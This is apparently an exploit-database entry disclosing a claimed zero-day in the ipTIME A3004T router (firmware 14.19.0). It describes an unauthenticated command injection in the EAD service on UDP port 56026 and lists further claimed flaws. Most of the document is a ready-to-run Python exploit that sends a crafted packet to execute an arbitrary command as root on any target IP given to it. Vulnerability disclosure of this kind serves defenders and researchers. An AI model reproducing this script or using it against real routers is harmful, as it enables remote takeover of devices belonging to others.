ipTIME A3004T Remote Code Execution

# Exploit Title: ipTIME A3004T  - Remote Code Execution
    # Date: 2026-06-29
    # Exploit Author: Paccaron
    # Vendor Homepage: https://www.iptime.com
    # Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34
    # Version: 14.19.0
    # Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621)
    # CVE: N/A (Zero-Day)
    
    Description:
    The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026
    and does not filter source IP addresses. A remote attacker can send a
    crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the
    device with root privileges. The vulnerability exists in the handle_send_cmd()
    function where user-controlled data is passed directly to system() without
    any input sanitization.
    
    Vulnerable File: /package/network/services/ead/src/ead.c
    Vulnerable Functions: handle_send_cmd() (lines 473-580)
    Vulnerable Lines: 512, 533
    
    Attack Vectors:
    1. Pre-auth RCE (Command Injection) - Lines 512, 533
    2. Buffer Overflow - ead-client.c:245 (strcpy)
    3. Format String - ead.c:952
    4. Path Traversal - tinysrp/t_misc.c:143
    5. Denial of Service - ead.c:716 (while loop)
    
    import socket
    import sys
    
    def exploit(target_ip, command):
        """
        ipTIME A3004T EAD Service Pre-auth RCE
        Exploit by Paccaron
        Tested on firmware 14.19.0
        """
        
        port = 56026
        
        # EAD_TYPE_SEND_CMD = 0x0a (10)
        # Minimal packet structure
        payload = b"\x00\x00\x00\x0a"  # EAD_TYPE_SEND_CMD
        payload += b"\x00" * 60        # Padding
        payload += b";" + command.encode() + b"\x00"  # Command injection
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        
        try:
            sock.sendto(payload, (target_ip, port))
            print(f"[+] Command sent to {target_ip}:{port}")
            print(f"[+] Command: {command}")
            sock.close()
            return True
        except Exception as e:
            print(f"[-] Failed: {e}")
            return False
    
    if __name__ == "__main__":
        if len(sys.argv) != 3:
            print("Usage: python exploit.py <TARGET_IP> <COMMAND>")
            print("Example: python exploit.py 192.168.1.1 id")
            sys.exit(1)
        
        target = sys.argv[1]
        cmd = sys.argv[2]
        exploit(target, cmd)